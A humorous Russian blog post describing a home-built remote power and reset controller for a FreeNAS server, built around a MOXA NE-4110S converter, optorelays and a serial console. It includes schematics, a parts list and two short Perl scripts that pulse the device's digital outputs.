Мой сервер не отзывается на ping… Ха-ха, проверьте, ~~подключён ли шнур питания~~ включён ли сервер. Конечно, я имею в виду считывание состояния светодиодного индикатора PWR\_LED, хотя можно и линию +5V считывать, это как больше нравится. Мне вот нравится именно идея со светодиодом, благо он наиболее доверенный свидетель и соседствует на материнской плате со всеми остальными ингредиентами. На что проще всего заменить зелёный светодиод в схеме, чтобы компьютер ничего не заметил? Очевидно, на другой светодиод, встроенный в оптореле, а сигнал на корпусной светодиод просто вернуть обратно по другой линии. Дальше, я думаю, объяснять не надо, на схеме всё будет понятно.
Наши кнопки RESET и PWR\_BTN для нормальной работы компьютера должны быть отпущены, но в теории может либо транзистор пробить, либо враг отправить неверный логический сигнал. В результате наш контроллер несанкционированно замкнёт оптореле, и кнопки окажутся, так сказать, «нормально нажатыми». От этого хочется защититься, не разбирая нашу гипотетическую плату. Также на этапе отладки мы хотим визуально контролировать происходящее. Поэтому не забываем про соль, перец и прочие приправы к нашему столу:
**6. Аппаратная блокировка управления линиями RESET и PWR\_BTN**
**7. Контрольные светодиоды на линии RESET и PWR\_BTN**
**8. Дублирующие светодиоды на линии LED\_100M и LED\_10M**
А компот? ~~Морс из лесных ягод~~ красный индикатор дисковой активности на корпусе всё равно отображает только два дисковых порта из десяти имеющихся, поэтому найдем ему более полезное применение:
**9. Визуальный мониторинг готовности контроллера (READY\_LED) на корпусе ПК через индикатор HDD\_LED**
Т.е. светящийся (красный) индикатор (дисковой активности) на корпусе ПК будет обозначать, что контроллер работает (рубильник ПК включён, есть питание). Зелёный индикатор ПК сохраняет свою функцию и светится только тогда, когда сервер работает. Если всё совсем плохо, можно позвонить на площадку и считать показания светодиода с помощью ~~биоробота~~ офис-менеджера или другого сотрудника.
Вот, что получилось (да простят мне читатели некоторые негостовые вольности):
**Схема**
Принципиальная электрическая схема бортового контроллера управления; если мелко, откройте изображение отдельно
**Комментарий для начинающих электроников**Убедитесь, что верхний спойлер со схемой открыт. Поехали.
**Ядро схемы:** маленький квадратик слева посередине — это как разъём J2 MOXA NE-4110S, с него всё начинается.
**Ограничительные резисторы** R4, R7, R8 для светодиодов и R1, R2 для оптореле считаются (вы не поверите!) по закону Ома. Чтобы и открыть оптореле, и зажечь светодиод (но не сжечь насмерть!), нужен ток порядка 10мА. Исходим из того, что на диоде упадёт от полутора до двух вольт (и ток, и напряжение смотрим в характеристиках приборов). Поскольку шина питания даёт 5В, на резисторе нужно «потерять» 3В при токе 10мА, т.е. нужно сопротивление порядка 300Ом. Ничего сложного, и без [калькуляторов](http://www.casemods.ru/services/raschet_rezistora.html). Позвольте, а куда делся ограничительный резистор для оптореле по линии PWR\_LED? Туда же, куда для индикатора READY\_LED (HDD\_LED): они оба встроены в схемы наших готовых изделий, один на материнской плате, второй на «мохе». Без обмана.
**Подтягивающие резисторы** R3, R5, R6 (см. [wikipedia](http://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%B4%D1%82%D1%8F%D0%B3%D0%B8%D0%B2%D0%B0%D1%8E%D1%89%D0%B8%D0%B9_%D1%80%D0%B5%D0%B7%D0%B8%D1%81%D1%82%D0%BE%D1%80)) номиналом 10кОм. Подтягивать будем логические уровни, дабы не болтались в воздухе и не ловили нам помехи оттуда.
**Транзисторные ключи**. Чтобы решить проблему с нехваткой управляющего тока (надо 10мА, но есть всего 1мА), поставим пару ключей 2N7000. Полевые транзисторы — приборы, управляемые напряжением: когда «моха» даёт высокий уровень, транзисторный затвор открывается, но ток при этом практически не потребляет. При этом замыкается цепь сток-исток, и электричество бежит себе с шины +5В через ограничительный резистор на «землю», по дороге зажигая светодиод, либо открывая оптореле. Полевик — хороший прибор, только статического электричества боится до смерти в буквальном смысле.
**Оптореле** сдвоенное однонаправленное, нормально разомкнутое. Этот полезнейший прибор позволяет замыкать (или размыкать в нормально замкнутом случае) электрические цепи, при этом изолируя их друг от друга. Управляющий ток подаётся по тем же законам, что и на светодиод, через ограничительный резистор. Наше реле однонаправленное: это значит, что управляемый (ведомый) ток через него можно пускать строго в одном направлении: «плюс» нужно соединять с контактом №6 или №8, иначе ток не пойдет, реле будет как будто закрытым. Оптореле тоже боится электростатики.
Как видите, совсем не квантовая теория.
Ну и напомню в конце, что мы имеем дело со встраиваемым бескорпусным изделием. Если его не закрепить должным образом, при неосторожном рывке за Ethernet-кабель наш контроллер будет болтать в корпусе ПК, *как трусы в стиральной машине*. Чтобы этого не произошло, подадим столовые приборы:
**10. Жестко закрепленный на корпусе компьютера порт Ethernet**
Задачу удалось решить так: **Зачем на самом деле нужны внутренние модемы и адаптеры 10/100BaseT на шину PCI**Оказывается, есть отличное применение старым, ненужным платам PCI с квадратными разъёмами.
Конвертер интерфейса на скобе от внутреннего модема PCI
Расстояние между крепёжными отверстиями на «мохе», понятное дело, не совпали со скобой, поэтому вместо второго болта я использовал обычную нейлоновую стяжку: держится достаточно крепко, а широкое окошко под два телефонных разъёма позволило комфортно разместить RJ-45 от «мохи».
Вместо второго болта — туго затянутая нейлоновая стяжка
Если под рукой не оказалось внутреннего модема PCI (бывает), подошла бы скоба от сетевого адаптера PCI (лучше всего подойдет 10 или 100 мегабит, но 1000 тоже можно). Допуск на размещение болтов, конечно, будет несколько другим, но нет ничего невозможного.
Итак, ваш заказ принят, готовим блюда и приступаем к еде!
**Ещё одно интересное решение удалённого доступа**Занимаясь дачными Интернетами, наткнулся на скромное изделие [TP-LINK MR3020](http://www.tp-link.com/lk/products/details/?model=TL-MR3020).
Этот, на первый взгляд, несерьезный карманный роутер размером с небольшую пачку печенья может превратится в многоцелевую платформу удалённого доступа с функциями, о которых производитель изделия и близко не догадывался. Под корпусом у него спрятан Atheros AR7240@400MHz, 4Мб флэш-памяти, ОЗУ 32Мб, а также (при некоторой смекалке и паяльнике) **последовательный порт и GPIO**. Связь с миром через USB-модем, Ethernet или WiFi (правда, встроенная антенна слабовата). Узнайте, сколько ещё интересных вещей можно получить всего за $25: <http://wiki.openwrt.org/toh/tp-link/tl-mr3020>. Кстати, USB-модемы идут с microSD (почитайте на всякий случай [пост про флэш-память](http://habrahabr.ru/post/214803/) и приготовьте познания Linux, они будут очень кстати).
В принципе, эту штуку можно по-шпионски прилепить внутрь корпуса ПК, запитав от тех же +5VSB и подключив последовательный порт (внимание: там TTL-уровень, для RS232 нужен переходник, а для USB — переходник плюс поддержка в ОС). Только следите за безопасностью, удалённый доступ — палка о двух концах, и слово «шпион» тут не просто так…
**UPD:** устройство воспето на хабре [habrahabr.ru/post/151982](http://habrahabr.ru/post/151982/)
Чтобы не связываться пока с агрессивными средами, паяльником и его другом утюгом (это уже не герои из 90-х, так платы сейчас делают в домашних условиях), но обкатать всё на реальном железе, я решил собрать свое нехитрое изделие на беспаечной макетной плате (breadboard). Кстати, весьма практичная штука, особенно для тех, кто на «вы» с паяльником. Что касается самодельных макетных перемычек, я уважаю профессионалов, но не люблю все эти «взрывы на телефонном коммутаторе», поэтому купил красивый фирменный набор разнокалиберных перемычек.
**Душераздирающая сцена**
Заимствовано с сайта: [www.rfcafe.com/references/electrical/bob-pease-breadboard.htm](http://www.rfcafe.com/references/electrical/bob-pease-breadboard.htm)
**Успокоительное средство**
Набор «усталый айтишник» для снятия стресса
Хоть перемычки и стоят денег, зато можно часами сидеть и втыкать их в макетку так и эдак, подбирая оптимальную длину. Это такая специальная терапия для измученных стрессами тружеников информационного цеха, успокаивает не хуже склеивания корабликов с самолётиками: нету ни бело-оранжевого, ни бело-зелёного, ни бело-синего, ни бело-коричневого, всё специально однотонное. Более стрессоустойчивые коллеги могут, конечно, перемычек из одножильной витой пары нарезать, сечение подходящее.
А вообще начинающим рекомендую прочитать бестселлер: [habrahabr.ru/post/148656](http://habrahabr.ru/post/148656/), после него я еле удержался от покупки *всего ассортимента* ближайшего радиолюбительского магазина.
**Схема беспаечной макетной платы в вольной системе обозначений**
Трафарет для Visio брал отсюда: [www.sandrila.co.uk/articles/visio-articles/electronics-breadboards](http://www.sandrila.co.uk/articles/visio-articles/electronics-breadboards/)
Кстати, если кто-то пожелает это изготовить в виде настоящей платы, дайте знать в личку, возможно, я даже поучаствую.
Наверняка это не новость, но попутно я нашёл (буквально) прикольный способ для сопряжения беспаечной макетки с окружающим миром разъёмами на плоский шлейф (Insulation-Displacement Connector, IDC): накалываем на один конец шлейфа разъём типа DIP (с шагом 2.54мм, войдёт в макетку), а другой конец расчленяем и обжимаем кримпером, затем обуваем нужным штыревым разъёмом BLS/BLD (клещи-кримпер использую те же, что в [другом посте](http://habrahabr.ru/post/218387/)). Либо не расчленяем шлейф, но просто накалываем другой IDC-разъём. Можно их много наколоть, как на шлейфах для старых дисков IDE. О сколько нам открытий чудных готовит магазин электроники.
По этому принципу я собрал два шлейфа: один (простой) для связи моей платы с MOXA NE-4110S, а второй (хитрый) для сопряжения с разъёмами на материнской плате. Очень рекомендую цветной шлейф: он не только порадует глаз веселой радугой цветовой маркировки, но на нестандартных задачах ещё и сильно сэкономит дорогостоящие ресурсы вашей центральной нервной системы, освободив её для более интересных задач. Скучный серый шлейф хорош для простых и прямых вариантов, всякие перевёрнутые фигуры на нём лучше не исполнять.
**Если кто не видел веселье**
Цветной весёлый шлейф
Этот IDC разъём-вилку с шагом 2.54мм накалываем на дальний от макетной платы конец шлейфа
 
Хитрый шлейф
Слева: подключаем кнопки и светодиоды от корпуса ПК к вилке (IDC-разъёму) на шлейфе; от разъёма дальше пошли две пары…
Cправа: две пары дошли до стандартных контактов RST\_SW и PWR\_SW на материнской плате, почти все нужные цепи замкнулись
Эти два разъёма IDC (шаг 2.54мм) накалываем на ближние концы шлейфов, они «сядут» на макетную плату
Макетная плата с двумя подключёнными шлейфами.
Монтаж сосредоточен слева, а на правом краю одиноко торчит Запасное Имущество Прибора (полевой транзистор, если пробьёт имеющийся). По-моему, получилось аккуратно, даже несмотря на циклопических размеров ограничительные резисторы (ваш покорный слуга немного поспешил при закупках).
#### О правильном питании
Чтобы выполнить требование №3 по независимому питанию в режиме STANDBY, поищем что-нибудь подходящее на материнской плате. Ну не врез*а*ться же в 20-контактный разъём питания ATX, в самом деле. Вот так удача: судя по стр. 17 [руководства P4i65G](http://download.asrock.com/manual/P4i65G.pdf), совершенно бесполезный разъём ИК-порта как раз и питается линией +5VSB (забегая вперед, отмечу, что это оказалось циничным обманом). Отлично, добавляем в корзину соответствующий 2-рядный 6-контактный разъёмчик с шагом 2.54мм, обозначаемый иногда как BLD 2x3.
Почти бесполезный разъём для подключения ИК-устройств к материнской плате P4i65G, BLD 2x3
> Кстати, если читатель вдруг пожелает +5VSB (aka дежурное питание, спасибо комментаторам), я бы рекомендовал искать где-то на внутренних разъёмах USB, либо на клавиатурном разъёме PS/2. Зайдите в раздел управления питанием BIOS и посмотрите, от чего компьютер может просыпаться. Те устройства, которые способны выдернуть компьютер из отключки, как раз и связаны с «дежуркой» +5VSB.
Разъём J2 на MOXA NE-4110S, BLD 2x7
Помимо последовательного порта J1 в стандарте RS232 (аналог того, что торчит на материнских платах), на «мохе» имеется недвусмысленный разъём J2 для подключения питания, GPIO (DIO), контрольных светодиодов и отладочного последовательного порта TTL-уровня (TXD1, RXD1, GND). На всякий случай скажу, что TTL UART требует линейный драйвер для сопряжения с RS232, там напряжения другие; но мы этот порт подключать и использовать не будем. Просто добавим к покупкам 14-контактный разъём типа «мама», с известным шагом 2.54мм (1/10").
Стоп, а почему у «мохи» два контакта VCC +5V? Начитавшись [профилактория](http://easyelectronics.ru/podklyuchenie-mikrokontrollera-likbez.html) о вкусном и здоровом питании микроконтроллеров, я уже начал было подозревать раздельную шину. Но увидев весьма недвусмысленную спайку на плате перед единственным стабилизатором напряжения (и даже померяв на всякий случай её сопротивление), я понял, что такой двойной ввод питания к внутренней обвязке не имеет отношения. Поэтому повернём ситуацию в своих корыстных целях: приведём на один контакт питание с +5VSB, а с другого тут же заберём его же на свою макетку. И волки целы, и овцы сыты. Может, для меня и оставили эти два контакта?
**Немного об электростатике**Я последний раз был на радиорынке, наверное, в конце 90-х. Недавно я вообще ничего не знал ни про беспаечные макетки, ни про AVR и их Хор Дробленый. Всё это погружение в микроэлектронику заняло около двух недель в режиме хобби, в течение которых пришлось много читать.
Заодно я решил всё-таки сперва сдать самому себе зачёт по макетированию, прикупив для упражнений 7-сегментный индикатор и всякую микруху с рассыпухой. Понятное дело, что вместо общего катода я взял общий анод, и при подключении к микросхеме 4511 мой индикатор показывал цифры инверсно и требовал много транзисторов. Хорошо, что мои микроэлектронные издевательства никто не видел…
Не только от лени, но и ради эксперимента я решил почти полностью пренебречь электростатической безопасностью, взяв пару защитных пинцетов и десяток полевых транзисторов про запас. И как в воду глядел: в процессе сдачи зачёта смертью храбрых пали аж семь из десяти «полевиков». Вывод: если работаете с полевыми транзисторами или другими КМОП-деталями, защищайте ноги этих нежных приборов от электростатики, реальность проблемы подтверждена теперь ещё одним экспериментом. Вариантов защиты много: от ритуального заматывания в фольгу в чем мать родила до специальных браслетов и ковриков. Только если в квартире нет настоящей «земли», учтите, что во время ваших электронных медитаций какой-нибудь добрый сосед по законам жанра обязательно ~~уронит фазу~~ заземлит стиральную машину на ту же трубу. И тогда, если ваша защита сама не защищена, то можно из фольгированной шапочки ненароком получить шлем виртуальной реальности, как в одном давно забытом [фидошном баяне](http://dibr.nnov.ru/n%3D7381) (тогда ещё не было понятия «я пацталом», но теперь я знаю, как это называется). Лично я предпочел заплатить парой пинцетов и несколькими пробитыми транзисторами (вечная им память). И простите меня, монстры-электронщики. А если серьезно, погуглите по теме *электростатический браслет*.
#### Безопасность
Не будем, однако, забывать о дверях, окнах и тому подобных заборах. Наше устройство NE-4110S паролями не закрывается, но может использовать простые ACL на IP-адреса, которые рекомендуется ограничить административной сетью. Операционная система сервера должна обязательно запрашивать логин и пароль для входа через последовательный порт. Всё содержимое Serial-over-LAN передаётся по сети в открытом виде (telnet), поэтому передачу по публичным сетям без шифрованных VPN делать никак нельзя (иначе уйдёт пароль root, который вы наверняка будете вводить). По этой же причине нужен и отдельный VLAN (простой сетевой коммутатор Ethernet с переполненными таблицами ARP превращается в хаб, который начинает звонить пакетами на все порты сегмента). Все устройства удалённого доступа к серверам — это потенциальные уязвимости, относится к ним нужно с должным уважением, ошибки редко прощаются.
Кстати, как обнаружили некоторые пользователи, и у FreeNAS около релиза 9.2.x оказалось не все гладко с реализацией serial console (<https://bugs.freenas.org/issues/4266>). Будьте осторожны, если используете эту систему.
#### Ленивый нуль-модем
Нуль-модемный кабель RS232 для соединения последовательных портов сервера и контроллера я изготовил из шнура от картридера-инвалида, которому Бизнес некоторое время назад вывихнул десяток ног. Пришлось заказывать новые 2-рядные 10-контактные разъёмы типа «мама», т.к. старая защита от дурака (в виде «залитой ножки») как раз и не давала подключить кабель USB к разъёму COM-порта. Можно легко изготовить такой кабель из плоского шлейфа, просто я ленив, и потому взял готовый шнур, обжимать кримпером пришлось всего пару проводков вместо двух десятков. Опять же, читателю рекомендую использовать для таких задач весёлый цветной шлейф.
Схема полного нуль-модемного кабеля, заимствована с [bogpeople.com/networking/SerialComms/rs232pinouts.shtml](http://bogpeople.com/networking/SerialComms/rs232pinouts.shtml)
Спрашивается: а нужны ли все эти DTR, DSR, RTS, CTS? И вообще, зачем DCD в нуль-модеме? Давным-давно я подключал консоль к коммутатору *Frame Relay* тремя проводками (RXD, TXD, GND) по витой паре, и всё работало. Но посмотрим на устройство последовательной консоли во FreeNAS. Использует она записи типа freenas\_serial9600 из [gettytab(5)](http://www.freebsd.org/cgi/man.cgi?query=gettytab&sektion=5), и при этом признака ``nc’’ там не видно. А в теории это означает, что при отсутствии сигнала DCD последовательный порт будет считаться «мертвым», и консоль по нему не поедет, по крайней мере, без вмешательства в код FreeNAS. Я могу ошибаться и не учитывать электрические свойства висящей в воздухе линии, но философские практики Крепсондо рекомендуют в таких случаях именно обжимать линию DCD, а не курочить прошивку FreeNAS на read-only файловой системе, потея потом при каждом дистанционном апгрейде сервера. Не читайте историй в Интернете про нестандартные нуль-модемы, делайте стандартный. Потом пригодится ещё где-нибудь.
Итак, приведу схему обжимки нуль-модема к виду на воображаемые 10-контактные разъёмы типа «мама», сидящие на воображаемом кабеле. Схема, кстати, в момент испытаний чуть не довела меня до цугундера, но об этом позже.
Схема нуль-модема, вид на разъёмы типа «мама», цветовая маркировка USB-кабеля (два чёрных: один потолще, второй потоньше)
#### Софт
Братцы, посмотрите на длину этого поста, а ведь мы даже не собираемся программировать микроконтроллер! Тем не менее, самый простенький скрипт на языке perl для удаленного нажимания кнопок я всё-таки добавлю для полноты повествования. Он немного избыточен, но это для красоты.
**Отправка секундного нажатия на кнопку питания**
```
#!/usr/bin/perl
use IO::Socket::INET;
$|=1; #flush
my $s = new IO::Socket::INET (
PeerHost => '10.100.200.1', # NE-4110S host
PeerPort => 5001, # DIO port
Proto => 'tcp',
) or die "IO::Socket::INET: $!\n";
my $CMD_PWR_ACTIVE = pack('C7',
2, # command number, fixed
2, # version, fixed
0, # this byte is only used in response
3, # data length, fixed
3, # desired DIO channel number
1, # 1: set to output mode
1, # 1: set to high
);
my $CMD_PWR_INACTIVE = pack('C7',
2, # command number, fixed
2, # version, fixed
0, # this byte is only used in response
3, # data length, fixed
3, # desired DIO channel number
1, # 1: set to output mode
0, # 0: set to low
);
my $res;
my ($hdr_cmd, $hdr_ver, $hdr_err, $hdr_len);
my @data;
print "PWR_ACTIVE\n";
print $s $CMD_PWR_ACTIVE;
$s->recv($res, 4);
($hdr_cmd, $hdr_ver, $hdr_err, $hdr_len) = unpack('C4', $res);
printf("result: CMD %d VER %d ERR %d LEN %d\n", $hdr_cmd, $hdr_ver, $hdr_err, $hdr_len);
$s->recv($res, $hdr_len);
@data = unpack("C$hdr_len", $res);
sleep(1);
print "PWR_INACTIVE\n";
print $s $CMD_PWR_INACTIVE;
$s->recv($res, 4);
($hdr_cmd, $hdr_ver, $hdr_err, $hdr_len) = unpack('C4', $res);
printf("result: CMD %d VER %d ERR %d LEN %d\n", $hdr_cmd, $hdr_ver, $hdr_err, $hdr_len);
$s->recv($res, $hdr_len);
@data = unpack("C$hdr_len", $res);
sleep(1);
$s->close();
exit(0);
```
**Отправка секундного нажатия на кнопку RESET**
```
#!/usr/bin/perl
use IO::Socket::INET;
$|=1; #flush
my $s = new IO::Socket::INET (
PeerHost => '10.100.200.1', # NE-4110S host
PeerPort => 5001, # DIO port
Proto => 'tcp',
) or die "IO::Socket::INET: $!\n";
my $CMD_RST_ACTIVE = pack('C7',
2, # command number, fixed
2, # version, fixed
0, # this byte is only used in response
3, # data length, fixed
2, # desired DIO channel number
1, # 1: set to output mode
1, # 1: set to high
);
my $CMD_RST_INACTIVE = pack('C7',
2, # command number, fixed
2, # version, fixed
0, # this byte is only used in response
3, # data length, fixed
2, # desired DIO channel number
1, # 1: set to output mode
0, # 0: set to low
);
my $res;
my ($hdr_cmd, $hdr_ver, $hdr_err, $hdr_len);
my @data;
print "RST_ACTIVE\n";
print $s $CMD_RST_ACTIVE;
$s->recv($res, 4);
($hdr_cmd, $hdr_ver, $hdr_err, $hdr_len) = unpack('C4', $res);
printf("result: CMD %d VER %d ERR %d LEN %d\n", $hdr_cmd, $hdr_ver, $hdr_err, $hdr_len);
$s->recv($res, $hdr_len);
@data = unpack("C$hdr_len", $res);
sleep(1);
print "RST_INACTIVE\n";
print $s $CMD_RST_INACTIVE;
$s->recv($res, 4);
($hdr_cmd, $hdr_ver, $hdr_err, $hdr_len) = unpack('C4', $res);
printf("result: CMD %d VER %d ERR %d LEN %d\n", $hdr_cmd, $hdr_ver, $hdr_err, $hdr_len);
$s->recv($res, $hdr_len);
@data = unpack("C$hdr_len", $res);
sleep(1);
$s->close();
exit(0);
```
#### Комплектация
**Перечень ингредиентов с ценами**
| Наименование | Кол-во | Стоимость |
| --- | --- | --- |
| Конвертер интерфейса MOXA NE-4110S | 1шт. | $50 |
| Плата макетная беспаечная | 1шт. | от $10 |
| Сдвоенное оптореле КР293КП4Б, корпус DIP8 | 2шт. | $4 |
| Полевой транзистор 2N7000, корпус TO92 | 2шт. | $1 |
| Ограничительный резистор 330Ом 5%, «выводной» корпус | 5шт. | $0.30 |
| Подтягивающий резистор 10кОм 5%, «выводной» корпус | 3шт. | $0.20 |
| Светодиод красный АЛ307ЛМ d=5мм | 1шт. | $0.30 |
| Светодиод желтый АЛ307ЖМ d=5мм | 1шт. | $0.30 |
| Светодиод зелёный АЛ307НМ d=5мм | 2шт. | $0.60 |
| Переключатель DIP, 4 контакта | 1шт. | $1 |
| Разъем-вилка 2.54мм IDC (на шлейф), двухрядный 10 контактов | 1шт. | $0.50 |
| Разъем DIP IDC (на шлейф), 10 контактов | 2шт. | $0.50 |
| Шлейф цветной, 10 контактов | 1м | $2.40 |
| Разъём-гнездо 2.54мм на кабель BLD 2x7 (для MOXA J2) | 1шт. | $0.50 |
| Разъём-гнездо 2.54мм на кабель BLD 2x5 (для COM-порта) | 2шт. | $1 |
| Разъём-гнездо 2.54мм на кабель BLD 2x3 (для IR-порта) | 1шт. | $0.30 |
| Разъём-гнездо 2.54мм на кабель BLS 2x1 (для подключения к мат. плате) | 3шт. | $0.45 |
| Ненужная плата внутр. модема PCI | завалялась |
| Маленькая нейлоновая стяжка | была |
| Клещи для обжима контактов разъёмов BLS и BLD | тоже были, но вообще от $20 |
| Патч-корд Cat5e | нашёл;) |
| Перемычки для макетной платы | купите или сделайте сами |
| Время | не считается |
| **ИТОГО** | **чуть дороже $70** |
Все приборы в DIP, либо в «выводных» (не SMD, не планарных) корпусах — для беспаечной макетной платы
Конвертер MOXA NE-4110S (на скобе), а также плата и кабели
#### Дух эксперимента
Вечер пятницы. Слегка гудя малыми оборотами вентиляторов, методично сосет близлежащую офисную пыль наш трудяга Zeus, приютив на своей спине обнимающуюся пару из коммутатора и домашнего роутера. Сохранены все данные. Разогнаны по домам и кабакам все пользователи. Уютно мигают светодиоды, и в воздухе уже витает Дух Эксперимента.
Первым делом заменим *домашний* роутер на *дикий*. Это, конечно, отдельная история; стоит сказать, что принесённый *дикий* роутер уже полностью приручён на стенде: обновлены все прошивки, заданы все настройки, адреса, пароли, явки и файрволы. Тратим несколько минут на возню с проводами, и всё поехало с первого раза. Ай, какой я молодец. Домашний роутер поедет на дачу.
Затем возвращаемся к основной цели визита и пробуем реализовать исходный замысел, полагаясь на наличие обещанных +5VSB на разъёме ИК-порта.
Достаём наш конструктор, собираем и включаем. Темно и тихо, но пахнет пока не дымом, а всё ещё духом эксперимента. Ищем перемычку PS2\_USB\_PWR1. Чёрт, она под воздуховодом кулера. Разобрав на время наш управляемый вектор тяги (см. [habrahabr.ru/post/214707](http://habrahabr.ru/post/214707/)), пробуем её так и эдак. Ничего не получается.
Как говорится, прочтите, наконец, инструкцию. На стр. 26 [руководства P4i65G](http://download.asrock.com/manual/P4i65G.pdf) в разделе 3.3.3 ACPI Configuration из устройств упомянуты Ring-In (модем), PCI (Wake-on-LAN) и PS/2 (клавиатура). Порт IR в явном виде не упомянут. Хм. И про USB вообще ни слова. Хорошо, пробуем клавиатуру PS/2. При правильном положении перемычки PS2\_USB\_PWR1 клавиатура PS/2 в режиме STANDBY действительно светит индикатором и выводит компьютер из спячки. Ага, в крайнем случае одолжим питание с PS/2. Клавиатура USB в режиме STANDBY глуха, как рыба об забор, и будить компьютер явно не хочет. Значит, название перемычки PS2\_*USB*\_PWR1 следует читать как PS2\_PWR1, а обещанные +5VSB на разъёме IR — как шутку производителя. USB в состоянии STANDBY эта материнская плата не питает вовсе. Видимо, разработчики подумали, что никто и не заметит столь циничный мухлёж.
Перемычка PS2\_USB\_PWR1, которая на самом деле к USB отношения не имеет
Но как же запитать наше хозяйство без неэстетичных соплей, торчащих из PS/2 снаружи корпуса? Снимаем перемычку PS2\_USB\_PWR1 совсем и подключаем питание нашей схемы к выводу №3. Включаем. Сервер как-то обиженно и возмущенно пискнул, и стартовать, похоже, не собирается. И вот уже в воздухе почудился еле уловимый Призрак Чернобыля… Мозг рефлекторно вычисляет возможный расход: одна материнская плата, один блок питания, что там ещё можно спалить? Не смертельно, но бегать в субботу за железом, да ещё и с ощущением проигрыша никак не входило в планы великого комбинатора. Ладно, быстро вырубаем от греха подальше и снова смотрим на наш электронный ребус.
Электронный ребус: сколько положений есть у перемычки?
Что-то мы не учли. Наверное, пятивольтовую шину питания, на которой сидит клавиатурный контроллер и ещё, наверное, полдюжины полезнейших устройств. Видимо, это её вход торчит у нас прямо под носом в виде контакта №2. Слева под №1 выход с линии +5V, а справа под №3 — выход с +5VSB. Спасибо, Капитан Очевидность, и где же Вас носило [26 апреля 1986г.](http://ru.wikipedia.org/wiki/%D0%90%D0%B2%D0%B0%D1%80%D0%B8%D1%8F_%D0%BD%D0%B0_%D0%A7%D0%B5%D1%80%D0%BD%D0%BE%D0%B1%D1%8B%D0%BB%D1%8C%D1%81%D0%BA%D0%BE%D0%B9_%D0%90%D0%AD%D0%A1)? «Приезжайте в Киев, вы будете *поражены*!» — пошутил тогда один респектабельный джентльмен. «Идиот, запитай мне пятивольтовую шину!» — пищал мне компьютер…
> Причём тут вообще авария на Чернобыльской АЭС? А вы вспомните себя в известной позе Данилы-мастера с каменным цветком: сколько раз приходилось доставать шаманский бубен, соединять бегемотов с носорогами и полагаться на авось? Сколько раз приходилось включать то, чего включать нельзя, и выключать то, что лучше бы вообще не трогать? Я недавно читал какое-то глобальное исследование, из которого достаточно чётко следовало: значительная часть аварий в ИТ-сфере происходит по вине персонала, в процессе того, что обычно принято называть *регламентными работами*. Этот айтишный авось не русский, он общемировой. Вот и меня понесло туда же. Авось, пронесёт...
Очередная авось-схема
Ставим перемычку в положение 1-2 (даём обычные +5V на шину), а наше изделие запитываем прямо с контакта №3 +5VSB, одолжив «землю» у бесполезного разъёма ИК-порта. Обязательно обуваем клемму в термоусадку или разъём BLS 1x1 (иначе обязательно коротнёт; это обычно не смертельно, но защита блока питания не даст запустить машину). Делаем глубокий вдох и включаем рубильник… Выдыхаем под веселое перемигивание светодиода LED\_100M. Вентиляторы и вся прочая механика молча стоят и ждут. Telnet бодро выдает главное меню контроллера. Ура, теперь мы действительно управляем выключенным компьютером! Призрак Чернобыля благополучно тает в воздухе, оставляя белесое облачко детских воспоминаний. Занавес.
Стоп, стоп, какой занавес? Читатель прекрасно знает, что так красиво серверы стартуют только в сказках. Поэтому да, между включением рубильника и результатом было получасовое ползанье по полу вокруг глухого последовательного порта, сопровождаемое попытками переключения скорости/режима потока, чесаниями репы и командами UNIX, вперемежку с матом. Потому что при обжимке обоих концов шнура я смотрел на одну и ту же картинку (оба раза на левую), собрав вместо нуль-модема обычный прямой кабель…
Один разъём надо обжимать по левой картинке, а другой по правой; порядок неважен
Тьфу! Обнаружив столь эпичный косяк, я сразу воспрянул духом, выдавил из офисного степлера скрепку и принялся разгибать ею разъём обратно. Переделав кабель как надо, я получил в награду консольное меню FreeNAS. Цугундер миновал. Конечно, был и самый волшебный момент проверки, когда стоящий в полуметре ящик послушно глох и оживал, подчиняясь незримым командам с сервера в далекой стране. Помигали контрольные светодиоды, телеметрия на цифровом вводе (зелёного светодиода) показала «вниз» при включенном сервере и «вверх» при выключенном, и всё это под немое, но веселое перемигивание индикатора LED\_100M.
Не считая косяка с нуль-модемным кабелем, эксперимент удался с первого раза.
Как того и требовала её величество Инженерия.
На прощание ещё один давно забытый, но любимый баян из 90-ых неизвестного автора:
**Было ортогонально**Мерно покачиваясь на волнах синусоиды, аргумент плавно скользит в бесконечность. Мимо стремительно проносятся гипотенузы и катеты. Со свистом пролетают пределы.
Медленно тащатся обратные тригонометрические функции, уступая дорогу важным Производным Высших порядков. По обочинам безмолвно стоят модули и флаговые подпространства. Изредка промелькнет и исчезнет, волоча за собой свой хвост, степенной ряд. На коротких ножках, подпрыгивая и спотыкаясь, бегут группы, алгебры, области D, Омега, сопровождаемые стайкой неугомонных идеалов.
Вектор нормали клонился к факториальности, фазовое пространство стремилось к предельной точке, уже супремум с инфинумом, пораскинув мощностью, аппроксимировались константой, сошки помельче, вроде директрисы и центра масс уже сколько угодно близко приблизились к малому числу Дельта, все плохие точки вытеснены без ограничения общности, распределение Дирака применено к системе со связями; приближалась сходимость. Еще не приведенные многочлены векторно умножались на матрицу перехода, а те, кто не успели, были задавлены экспонентой. Повсюду шастали волнистые координаты. Маленькие бесправные логарифмы гонялись за эпсилоном, беспомощно размахивая суммируемой особенностью.
Было ортогонально.
В наступившей неустойчивости там и сям раздавался хруст колец. На них действовала вторая квадратичная форма.
Фактор-пространство, донимаемое поточечной сходимостью, слонялось между двойными и повторными интегралами, которые гордо брались и аккуратно подбирали выражения в элементарных функциях.
Гомоморфизмы, выбрав уголок полокальнее, занимались любовью с матрицами Грама и Якоби.
Непрерывность шла своим чередом. Комплексные переменные — блюстители порядка, сужаясь на класс эквивалентности, раскладывались в ряд Фурье и быстро понижали порядок, если какой-нибудь условный экстремум, уделанный алгоритмом Евклида, пытался последовательностью зажать с двух сторон бесконечно малую. О-большое и о-малое, с точностью до величин первого порядка, оценивали условно сходящийся ряд. Мягкой периодичностью лилась тригонометрическая система функций. За ними вовсю ухлестывали обобщенные. Гладкость не менялась, линейность не нарушалась, сингулярность проявлялась только в точках накопления. Риманово многообразие подернулось дымкой субгармоничности, импликация с детерминантом молча удовлетворяли краевые условия.
Начинался следующий шаг. За ним последуют еще и еще, и так далее, до бесконечности. Так будет продолжаться до тех пор, пока для любого эпсилон существует дельта, пока суммы — Дарбу, правило — Лопиталя, принцип — Максимума Модуля. Пока не придет новый Гаусс, Коши, Лагранж, Пифагор, Ферма, Фурье, новый Остроградский и не явит миру новое, неведомое ранее знание,
новое Откровение,
новую Математику.
Занавес. | https://habr.com/ru/post/217299/ | null | ru | null |
